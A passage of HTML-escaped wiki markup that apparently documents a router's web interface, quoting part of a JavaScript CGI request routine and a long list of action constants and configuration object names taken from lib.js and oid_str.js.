			&lt;br /&gt;
			if (bAnsi) {&lt;br /&gt;
				var formObj = $.d.forms[0];	&lt;br /&gt;
				try {&lt;br /&gt;
					formObj.target = &amp;quot;up_frame&amp;quot;;&lt;br /&gt;
					formObj.action = &amp;quot;/cgi/ansi&amp;quot;;&lt;br /&gt;
					formObj.submit();&lt;br /&gt;
				}catch(e){}&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var resolve2 = function(){&lt;br /&gt;
				$.io(url, false, function(ret){ ret = resolve(ret, tmpds); if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);}, data, false, unerr)};&lt;br /&gt;
				if (bAnsi) $.timeout(resolve2, 100);&lt;br /&gt;
				else resolve2();&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			else {&lt;br /&gt;
				while(ret = $.io(url, false, null, data, false, unerr)) {&lt;br /&gt;
					ret = resolve(ret, $.ds);&lt;br /&gt;
					if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) return ret;&lt;br /&gt;
					count++;&lt;br /&gt;
					if (count &amp;gt; 3) return $.err(&amp;quot;exe&amp;quot;, ERR_HTTP_ERR_CGI_INVALID_ANSI, unerr);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	};&lt;br /&gt;
})();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; CGI parameters extracted from lib.js and oid_str.js&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;var ACT_GET = 1;&lt;br /&gt;
var ACT_SET = 2;&lt;br /&gt;
var ACT_ADD = 3;&lt;br /&gt;
var ACT_DEL = 4;&lt;br /&gt;
var ACT_GL  = 5;&lt;br /&gt;
var ACT_GS  = 6;&lt;br /&gt;
var ACT_OP  = 7;&lt;br /&gt;
var ACT_CGI = 8;&lt;br /&gt;
var ACT_SIG = 9;&lt;br /&gt;
&lt;br /&gt;
var ACT_OP_REBOOT = &amp;quot;ACT_REBOOT&amp;quot;;&lt;br /&gt;
var ACT_OP_FACTORY_RESET = &amp;quot;ACT_FACTORY_RESET&amp;quot;;&lt;br /&gt;
var ACT_OP_DHCP_RENEW = &amp;quot;ACT_DHCP_RENEW&amp;quot;;&lt;br /&gt;
var ACT_OP_DHCP_RELEASE = &amp;quot;ACT_DHCP_RELEASE&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_CONN = &amp;quot;ACT_PPP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_DISCONN = &amp;quot;ACT_PPP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_GET_NEW_PIN = &amp;quot;ACT_WLAN_GET_NEW_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_RESTORE_PIN = &amp;quot;ACT_WLAN_RESTORE_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_UPDATE_ASSOC = &amp;quot;ACT_WLAN_UPDATE_ASSOC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PBC = &amp;quot;ACT_WLAN_WPS_PBC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PIN = &amp;quot;ACT_WLAN_WPS_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_SCAN = &amp;quot;ACT_WLAN_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_NTP_REQUEST = &amp;quot;ACT_NTP_REQUEST&amp;quot;;&lt;br /&gt;
var ACT_OP_DLNA_MANUAL_SCAN = &amp;quot;ACT_DLNA_MANUAL_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_CONN = &amp;quot;ACT_L2TP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_DISCONN = &amp;quot;ACT_L2TP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_CONN = &amp;quot;ACT_PPTP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_DISCONN = &amp;quot;ACT_PPTP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WAN_TYPE_DETECT = &amp;quot;ACT_WAN_TYPE_DETECT&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_CONN = &amp;quot;ACT_BPA_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_DISCONN = &amp;quot;ACT_BPA_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_IPPING = &amp;quot;ACT_OP_IPPING&amp;quot;;&lt;br /&gt;
var ACT_OP_TRACERT = &amp;quot;ACT_OP_TRACERT&amp;quot;;&lt;br /&gt;
var ERR_HTTP_ERR_CGI_INVALID_ANSI = 71017;&lt;br /&gt;
&lt;br /&gt;
var IGD = &amp;quot;IGD&amp;quot;&lt;br /&gt;
var IGD_DEV_INFO = &amp;quot;IGD_DEV_INFO&amp;quot;&lt;br /&gt;
var SYSLOG_CFG = &amp;quot;SYSLOG_CFG&amp;quot;&lt;br /&gt;
var MANAGEMENT_SERVER = &amp;quot;MANAGEMENT_SERVER&amp;quot;&lt;br /&gt;
var ETH_SWITCH = &amp;quot;ETH_SWITCH&amp;quot;&lt;br /&gt;
var SYS_CFG = &amp;quot;SYS_CFG&amp;quot;&lt;br /&gt;
var NET_CFG = &amp;quot;NET_CFG&amp;quot;&lt;br /&gt;
var USER_CFG = &amp;quot;USER_CFG&amp;quot;&lt;br /&gt;
var CURRENT_USER = &amp;quot;CURRENT_USER&amp;quot;&lt;br /&gt;
var APP_CFG = &amp;quot;APP_CFG&amp;quot;&lt;br /&gt;
var HTTP_CFG = &amp;quot;HTTP_CFG&amp;quot;&lt;br /&gt;
var HTTPS_CERT_AUTH = &amp;quot;HTTPS_CERT_AUTH&amp;quot;&lt;br /&gt;
var PH_DDNS_CFG = &amp;quot;PH_DDNS_CFG&amp;quot;&lt;br /&gt;
var PH_RT_DATA = &amp;quot;PH_RT_DATA&amp;quot;&lt;br /&gt;
var DYN_DNS_CFG = &amp;quot;DYN_DNS_CFG&amp;quot;&lt;br /&gt;
var UPNP_CFG = &amp;quot;UPNP_CFG&amp;quot;&lt;br /&gt;
var UPNP_PORTMAPPING = &amp;quot;UPNP_PORTMAPPING&amp;quot;&lt;br /&gt;
var DIAG_TOOL = &amp;quot;DIAG_TOOL&amp;quot;&lt;br /&gt;
var CWMP_CFG = &amp;quot;CWMP_CFG&amp;quot;&lt;br /&gt;
var SNMP_CFG = &amp;quot;SNMP_CFG&amp;quot;&lt;br /&gt;
var NOIP_DNS_CFG = &amp;quot;NOIP_DNS_CFG&amp;quot;&lt;br /&gt;
var CMX_DNS_CFG = &amp;quot;CMX_DNS_CFG&amp;quot;&lt;br /&gt;
var ACL_CFG = &amp;quot;ACL_CFG&amp;quot;&lt;br /&gt;
var WAN_TYPE_DETECT = &amp;quot;WAN_TYPE_DETECT&amp;quot;&lt;br /&gt;
var DMZ_HOST_CFG = &amp;quot;DMZ_HOST_CFG&amp;quot;&lt;br /&gt;
var TIME = &amp;quot;TIME&amp;quot;&lt;br /&gt;
var HOUR = &amp;quot;HOUR&amp;quot;&lt;br /&gt;
var L3_FORWARDING = &amp;quot;L3_FORWARDING&amp;quot;&lt;br /&gt;
var L3_FORWARDING_ENTRY = &amp;quot;L3_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING = &amp;quot;L3_IP6_FORWARDING&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING_ENTRY = &amp;quot;L3_IP6_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING = &amp;quot;L2_BRIDGING&amp;quot;&lt;br /&gt;
var L2_BRIDGING_ENTRY = &amp;quot;L2_BRIDGING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING_FILTER = &amp;quot;L2_BRIDGING_FILTER&amp;quot;&lt;br /&gt;
var L2_BRIDGING_INTF = &amp;quot;L2_BRIDGING_INTF&amp;quot;&lt;br /&gt;
var LAN_DEV = &amp;quot;LAN_DEV&amp;quot;&lt;br /&gt;
var LAN_HOST_CFG = &amp;quot;LAN_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP_INTF = &amp;quot;LAN_IP_INTF&amp;quot;&lt;br /&gt;
var LAN_DHCP_STATIC_ADDR = &amp;quot;LAN_DHCP_STATIC_ADDR&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL = &amp;quot;LAN_DHCP_COND_SRV_POOL&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL_OPT = &amp;quot;LAN_DHCP_COND_SRV_POOL_OPT&amp;quot;&lt;br /&gt;
var YANDEX_DNS_POOL = &amp;quot;YANDEX_DNS_POOL&amp;quot;&lt;br /&gt;
var LAN_IP6_HOST_CFG = &amp;quot;LAN_IP6_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP6_INTF = &amp;quot;LAN_IP6_INTF&amp;quot;&lt;br /&gt;
var LAN_ETH_INTF = &amp;quot;LAN_ETH_INTF&amp;quot;&lt;br /&gt;
var LAN_HOSTS = &amp;quot;LAN_HOSTS&amp;quot;&lt;br /&gt;
var LAN_HOST_ENTRY = &amp;quot;LAN_HOST_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN = &amp;quot;LAN_WLAN&amp;quot;&lt;br /&gt;
var LAN_WLAN_WPS = &amp;quot;LAN_WLAN_WPS&amp;quot;&lt;br /&gt;
var LAN_WLAN_MACTABLEENTRY = &amp;quot;LAN_WLAN_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_ASSOC_DEV = &amp;quot;LAN_WLAN_ASSOC_DEV&amp;quot;&lt;br /&gt;
var LAN_WLAN_BSSDESC_ENTRY = &amp;quot;LAN_WLAN_BSSDESC_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WEPKEY = &amp;quot;LAN_WLAN_WEPKEY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WDSBRIDGE = &amp;quot;LAN_WLAN_WDSBRIDGE&amp;quot;&lt;br /&gt;
var LAN_WLAN_MULTISSID = &amp;quot;LAN_WLAN_MULTISSID&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDENTRY = &amp;quot;LAN_WLAN_MSSIDENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDWEPKEY = &amp;quot;LAN_WLAN_MSSIDWEPKEY&amp;quot;&lt;br /&gt;
var MSSID_MACTABLEENTRY = &amp;quot;MSSID_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WLBRNAME = &amp;quot;LAN_WLAN_WLBRNAME&amp;quot;&lt;br /&gt;
var LAN_WLAN_TASK_SCHEDULE = &amp;quot;LAN_WLAN_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var LAN_WLAN_QUICKSAVE = &amp;quot;LAN_WLAN_QUICKSAVE&amp;quot;&lt;br /&gt;
var LAN_WLAN_GUESTNET = &amp;quot;LAN_WLAN_GUESTNET&amp;quot;&lt;br /&gt;
var LAN_IGMP_SNOOP = &amp;quot;LAN_IGMP_SNOOP&amp;quot;&lt;br /&gt;
var WAN_DEV = &amp;quot;WAN_DEV&amp;quot;&lt;br /&gt;
var WAN_COMMON_INTF_CFG = &amp;quot;WAN_COMMON_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_CFG = &amp;quot;WAN_DSL_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS = &amp;quot;WAN_DSL_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS_TOTAL = &amp;quot;WAN_DSL_INTF_STATS_TOTAL&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTOPVC = &amp;quot;WAN_DSL_AUTOPVC&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTO_PVC_PAIR = &amp;quot;WAN_DSL_AUTO_PVC_PAIR&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF = &amp;quot;WAN_ETH_INTF&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF_STATS = &amp;quot;WAN_ETH_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_PON = &amp;quot;WAN_PON&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF = &amp;quot;WAN_EPON_INTF&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OAM_STATS = &amp;quot;WAN_EPON_INTF_OAM_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_MPCP_STATS = &amp;quot;WAN_EPON_INTF_MPCP_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_STATS = &amp;quot;WAN_EPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OPTICAL_STATS = &amp;quot;WAN_EPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF = &amp;quot;WAN_GPON_INTF&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OMCI_STATS = &amp;quot;WAN_GPON_INTF_OMCI_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_STATS = &amp;quot;WAN_GPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OPTICAL_STATS = &amp;quot;WAN_GPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_CONN_DEVICE = &amp;quot;WAN_CONN_DEVICE&amp;quot;&lt;br /&gt;
var WAN_DSL_LINK_CFG = &amp;quot;WAN_DSL_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_PON_LINK_CFG = &amp;quot;WAN_PON_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_ETH_LINK_CFG = &amp;quot;WAN_ETH_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_USB_3G_LINK_CFG = &amp;quot;WAN_USB_3G_LINK_CFG&amp;quot;&lt;br /&gt;
var USB_MODEM_PARAM = &amp;quot;USB_MODEM_PARAM&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN = &amp;quot;WAN_L2TP_CONN&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_PORTMAPPING = &amp;quot;WAN_L2TP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var L2TP_CONN_PORTTRIGGERING = &amp;quot;L2TP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_STATS = &amp;quot;WAN_L2TP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN = &amp;quot;WAN_PPTP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_PORTMAPPING = &amp;quot;WAN_PPTP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPTP_CONN_PORTTRIGGERING = &amp;quot;PPTP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_STATS = &amp;quot;WAN_PPTP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_IP_CONN = &amp;quot;WAN_IP_CONN&amp;quot;&lt;br /&gt;
var WAN_IP_CONN_PORTMAPPING = &amp;quot;WAN_IP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var IP_CONN_PORTTRIGGERING = &amp;quot;IP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN = &amp;quot;WAN_PPP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_PORTMAPPING = &amp;quot;WAN_PPP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPP_CONN_PORTTRIGGERING = &amp;quot;PPP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_STATS = &amp;quot;WAN_PPP_CONN_STATS&amp;quot;&lt;br /&gt;
var STAT_CFG = &amp;quot;STAT_CFG&amp;quot;&lt;br /&gt;
var STAT_ENTRY = &amp;quot;STAT_ENTRY&amp;quot;&lt;br /&gt;
var DDOS_CFG = &amp;quot;DDOS_CFG&amp;quot;&lt;br /&gt;
var DOS_HOST = &amp;quot;DOS_HOST&amp;quot;&lt;br /&gt;
var ARP = &amp;quot;ARP&amp;quot;&lt;br /&gt;
var ARP_ENTRY = &amp;quot;ARP_ENTRY&amp;quot;&lt;br /&gt;
var ARP_BIND = &amp;quot;ARP_BIND&amp;quot;&lt;br /&gt;
var ARP_BIND_ENTRY = &amp;quot;ARP_BIND_ENTRY&amp;quot;&lt;br /&gt;
var QUEUE_MANAGEMENT = &amp;quot;QUEUE_MANAGEMENT&amp;quot;&lt;br /&gt;
var CLASSIFICATION = &amp;quot;CLASSIFICATION&amp;quot;&lt;br /&gt;
var QOS_APP = &amp;quot;QOS_APP&amp;quot;&lt;br /&gt;
var QOS_INTF = &amp;quot;QOS_INTF&amp;quot;&lt;br /&gt;
var QOS_QUEUE = &amp;quot;QOS_QUEUE&amp;quot;&lt;br /&gt;
var TC = &amp;quot;TC&amp;quot;&lt;br /&gt;
var TC_RULE = &amp;quot;TC_RULE&amp;quot;&lt;br /&gt;
var ALG_CFG = &amp;quot;ALG_CFG&amp;quot;&lt;br /&gt;
var IPTV = &amp;quot;IPTV&amp;quot;&lt;br /&gt;
var DSL_IPTV_CFG = &amp;quot;DSL_IPTV_CFG&amp;quot;&lt;br /&gt;
var ETH_IPTV_CFG = &amp;quot;ETH_IPTV_CFG&amp;quot;&lt;br /&gt;
var FIREWALL = &amp;quot;FIREWALL&amp;quot;&lt;br /&gt;
var INTERNAL_HOST = &amp;quot;INTERNAL_HOST&amp;quot;&lt;br /&gt;
var EXTERNAL_HOST = &amp;quot;EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var TASK_SCHEDULE = &amp;quot;TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var RULE = &amp;quot;RULE&amp;quot;&lt;br /&gt;
var URL_LIST = &amp;quot;URL_LIST&amp;quot;&lt;br /&gt;
var URL_CFG = &amp;quot;URL_CFG&amp;quot;&lt;br /&gt;
var IP6_FIREWALL = &amp;quot;IP6_FIREWALL&amp;quot;&lt;br /&gt;
var IP6_INTERNAL_HOST = &amp;quot;IP6_INTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_EXTERNAL_HOST = &amp;quot;IP6_EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_TASK_SCHEDULE = &amp;quot;IP6_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var IP6_RULE = &amp;quot;IP6_RULE&amp;quot;&lt;br /&gt;
var IP6_TUNNEL = &amp;quot;IP6_TUNNEL&amp;quot;&lt;br /&gt;
var DSLITE = &amp;quot;DSLITE&amp;quot;&lt;br /&gt;
var SIT_6RD = &amp;quot;SIT_6RD&amp;quot;&lt;br /&gt;
var SERVICES = &amp;quot;SERVICES&amp;quot;&lt;br /&gt;
var VOICE = &amp;quot;VOICE&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS_STS = &amp;quot;XTP_VOICE_PROCESS_STS&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS = &amp;quot;XTP_VOICE_PROCESS&amp;quot;&lt;br /&gt;
var VOICE_CAP = &amp;quot;VOICE_CAP&amp;quot;&lt;br /&gt;
var VOICE_CAP_SIP = &amp;quot;VOICE_CAP_SIP&amp;quot;&lt;br /&gt;
var VOICE_CAP_MGCP = &amp;quot;VOICE_CAP_MGCP&amp;quot;&lt;br /&gt;
var VOICE_CAP_CODECS = &amp;quot;VOICE_CAP_CODECS&amp;quot;&lt;br /&gt;
var VOICE_PROF = &amp;quot;VOICE_PROF&amp;quot;&lt;br /&gt;
var VOICE_PROF_PROVIDER = &amp;quot;VOICE_PROF_PROVIDER&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP = &amp;quot;VOICE_PROF_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP_EVTSUBSCRIBE = &amp;quot;VOICE_PROF_SIP_EVTSUBSCRIBE&amp;quot;&lt;br /&gt;
var VOICE_PROF_MGCP = &amp;quot;VOICE_PROF_MGCP&amp;quot;&lt;br /&gt;
var VOICE_PROF_RTP = &amp;quot;VOICE_PROF_RTP&amp;quot;&lt;br /&gt;
var VOICE_PROF_FAXT38 = &amp;quot;VOICE_PROF_FAXT38&amp;quot;&lt;br /&gt;
var XTP_USB_VOICEMAIL_PUBLICCFG = &amp;quot;XTP_USB_VOICEMAIL_PUBLICCFG&amp;quot;&lt;br /&gt;
var XTP_MULTI_ISP = &amp;quot;XTP_MULTI_ISP&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC = &amp;quot;XTP_MULTIISP_CODEC&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC_LIST = &amp;quot;XTP_MULTIISP_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE = &amp;quot;VOICE_PROF_LINE&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_SIP = &amp;quot;VOICE_PROF_LINE_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_XTPUSBVM = &amp;quot;VOICE_PROF_LINE_XTPUSBVM&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CALLFEAT = &amp;quot;VOICE_PROF_LINE_CALLFEAT&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_PROC = &amp;quot;VOICE_PROF_LINE_PROC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC = &amp;quot;VOICE_PROF_LINE_CODEC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC_LIST = &amp;quot;VOICE_PROF_LINE_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_STATS = &amp;quot;VOICE_PROF_LINE_STATS&amp;quot;&lt;br /&gt;
var XTP_FEATURE_CODE = &amp;quot;XTP_FEATURE_CODE&amp;quot;&lt;br /&gt;
var VOICE_PHY_INTERFACE = &amp;quot;VOICE_PHY_INTERFACE&amp;quot;&lt;br /&gt;
var VOICE_PHYINTERFACE_TESTS = &amp;quot;VOICE_PHYINTERFACE_TESTS&amp;quot;&lt;br /&gt;
var XTP_VOICE_MULTI_ISPDIALPLAN = &amp;quot;XTP_VOICE_MULTI_ISPDIALPLAN&amp;quot;&lt;br /&gt;
var XTP_VOICE_PSTN = &amp;quot;XTP_VOICE_PSTN&amp;quot;&lt;br /&gt;
var STORAGE_SERVICE = &amp;quot;STORAGE_SERVICE&amp;quot;&lt;br /&gt;
var CAPABLE = &amp;quot;CAPABLE&amp;quot;&lt;br /&gt;
var USER_ACCOUNT = &amp;quot;USER_ACCOUNT&amp;quot;&lt;br /&gt;
var USB_DEVICE = &amp;quot;USB_DEVICE&amp;quot;&lt;br /&gt;
var LOGICAL_VOLUME = &amp;quot;LOGICAL_VOLUME&amp;quot;&lt;br /&gt;
var FOLDER_BROWSE = &amp;quot;FOLDER_BROWSE&amp;quot;&lt;br /&gt;
var FOLDER_NODE = &amp;quot;FOLDER_NODE&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER = &amp;quot;DLNA_MEDIA_SERVER&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER_FOLDER = &amp;quot;DLNA_MEDIA_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var SMB_SERVICE = &amp;quot;SMB_SERVICE&amp;quot;&lt;br /&gt;
var SMB_SERVICE_FOLDER = &amp;quot;SMB_SERVICE_FOLDER&amp;quot;&lt;br /&gt;
var SMB_USER_ACCESS = &amp;quot;SMB_USER_ACCESS&amp;quot;&lt;br /&gt;
var FTP_SERVER = &amp;quot;FTP_SERVER&amp;quot;&lt;br /&gt;
var FTP_SERVER_FOLDER = &amp;quot;FTP_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var FTP_USER_ACCESS = &amp;quot;FTP_USER_ACCESS&amp;quot;&lt;br /&gt;
var XTP_PRINT_SERVICE = &amp;quot;XTP_PRINT_SERVICE&amp;quot;&lt;br /&gt;
var XTP_IGD_CALL_FIREWALL_CFG = &amp;quot;XTP_IGD_CALL_FIREWALL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_SPEED_DIAL_CFG = &amp;quot;XTP_IGD_SPEED_DIAL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTI_ISP_DIAL_PLAN = &amp;quot;XTP_IGD_MULTI_ISP_DIAL_PLAN&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTIISPDP_LIST = &amp;quot;XTP_IGD_MULTIISPDP_LIST&amp;quot;&lt;br /&gt;
var XTP_CALLLOGCFG = &amp;quot;XTP_CALLLOGCFG&amp;quot;&lt;br /&gt;
var IPSEC = &amp;quot;IPSEC&amp;quot;&lt;br /&gt;
var IPSEC_CFG = &amp;quot;IPSEC_CFG&amp;quot;&lt;br /&gt;
var SYS_MODE = &amp;quot;SYS_MODE&amp;quot;&lt;br /&gt;
var EWAN = &amp;quot;EWAN&amp;quot;&lt;br /&gt;
var USER_INFO = &amp;quot;USER_INFO&amp;quot;&lt;br /&gt;
var GPON_USER_INFO = &amp;quot;GPON_USER_INFO&amp;quot;&lt;br /&gt;
var GPON_AUTH_CTC = &amp;quot;GPON_AUTH_CTC&amp;quot;&lt;br /&gt;
var GPON_AUTH_SN = &amp;quot;GPON_AUTH_SN&amp;quot;&lt;br /&gt;
var GPON_AUTH_PWD = &amp;quot;GPON_AUTH_PWD&amp;quot;&lt;br /&gt;
var GPON_MAC_INFO = &amp;quot;GPON_MAC_INFO&amp;quot;&lt;br /&gt;
var GPON_FWD_RULE = &amp;quot;GPON_FWD_RULE&amp;quot;&lt;br /&gt;
var GPON_LOCAL_RULE_ENTRY = &amp;quot;GPON_LOCAL_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_REMOTE_RULE_ENTRY = &amp;quot;GPON_REMOTE_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT = &amp;quot;GPON_OMCI_IOT&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT_ENTRY = &amp;quot;GPON_OMCI_IOT_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_ME_ATTR = &amp;quot;GPON_OMCI_ME_ATTR&amp;quot;&lt;br /&gt;
var CLOUD_SERVICE = &amp;quot;CLOUD_SERVICE&amp;quot;&lt;br /&gt;
var FW_UPGRADE_INFO = &amp;quot;FW_UPGRADE_INFO&amp;quot;&lt;br /&gt;
var CLOUD_USER_ACCOUNT = &amp;quot;CLOUD_USER_ACCOUNT&amp;quot;&lt;br /&gt;
var OWNER_INFO = &amp;quot;OWNER_INFO&amp;quot;&lt;br /&gt;
var CURRENT_USER_INFO = &amp;quot;CURRENT_USER_INFO&amp;quot;&lt;br /&gt;
var CLOUD_DDNS = &amp;quot;CLOUD_DDNS&amp;quot;&lt;br /&gt;
var CLOUD_DDNS_ENTRY = &amp;quot;CLOUD_DDNS_ENTRY&amp;quot;&lt;br /&gt;
var WAN_BLOCK = &amp;quot;WAN_BLOCK&amp;quot;&lt;br /&gt;
var WAN_ERROR_BLOCK = &amp;quot;WAN_ERROR_BLOCK&amp;quot;&lt;br /&gt;
var FW_UP_INFO_BLOCK = &amp;quot;FW_UP_INFO_BLOCK&amp;quot;&lt;br /&gt;
var IPPING_DIAG = &amp;quot;IPPING_DIAG&amp;quot;&lt;br /&gt;
var TRACEROUTE_DIAG = &amp;quot;TRACEROUTE_DIAG&amp;quot;&lt;br /&gt;
var SDMZ_CFG = &amp;quot;SDMZ_CFG&amp;quot;&lt;br /&gt;
var WEB_CFG = &amp;quot;WEB_CFG&amp;quot;&lt;br /&gt;
var VLAN = &amp;quot;VLAN&amp;quot;&lt;br /&gt;
var ISP_SERVICE = &amp;quot;ISP_SERVICE&amp;quot;&lt;br /&gt;
var WOL = &amp;quot;WOL&amp;quot;&lt;br /&gt;
var WOL_ITEM = &amp;quot;WOL_ITEM&amp;quot;&lt;br /&gt;
var IPV6_CFG = &amp;quot;IPV6_CFG&amp;quot;&lt;br /&gt;
var SYS_STATE = &amp;quot;SYS_STATE&amp;quot;&lt;br /&gt;
var IPV6_PASS_THROUGH = &amp;quot;IPV6_PASS_THROUGH&amp;quot;&lt;br /&gt;
var AUTO_REBOOT_CFG = &amp;quot;AUTO_REBOOT_CFG&amp;quot;&lt;br /&gt;
var CPU_MEM = &amp;quot;CPU_MEM&amp;quot;&lt;br /&gt;
var PRODUCE_INFO = &amp;quot;PRODUCE_INFO&amp;quot;&lt;br /&gt;
var MULTIMODE = &amp;quot;MULTIMODE&amp;quot;&lt;br /&gt;
var MULTIMODE_AP = &amp;quot;MULTIMODE_AP&amp;quot;&lt;br /&gt;
var AP_CONFIG_WEPKEY = &amp;quot;AP_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var AP_SNMP_CFG = &amp;quot;AP_SNMP_CFG&amp;quot;&lt;br /&gt;
var MULTIMODE_CLIENT = &amp;quot;MULTIMODE_CLIENT&amp;quot;&lt;br /&gt;
var MULTIMODE_RE = &amp;quot;MULTIMODE_RE&amp;quot;&lt;br /&gt;
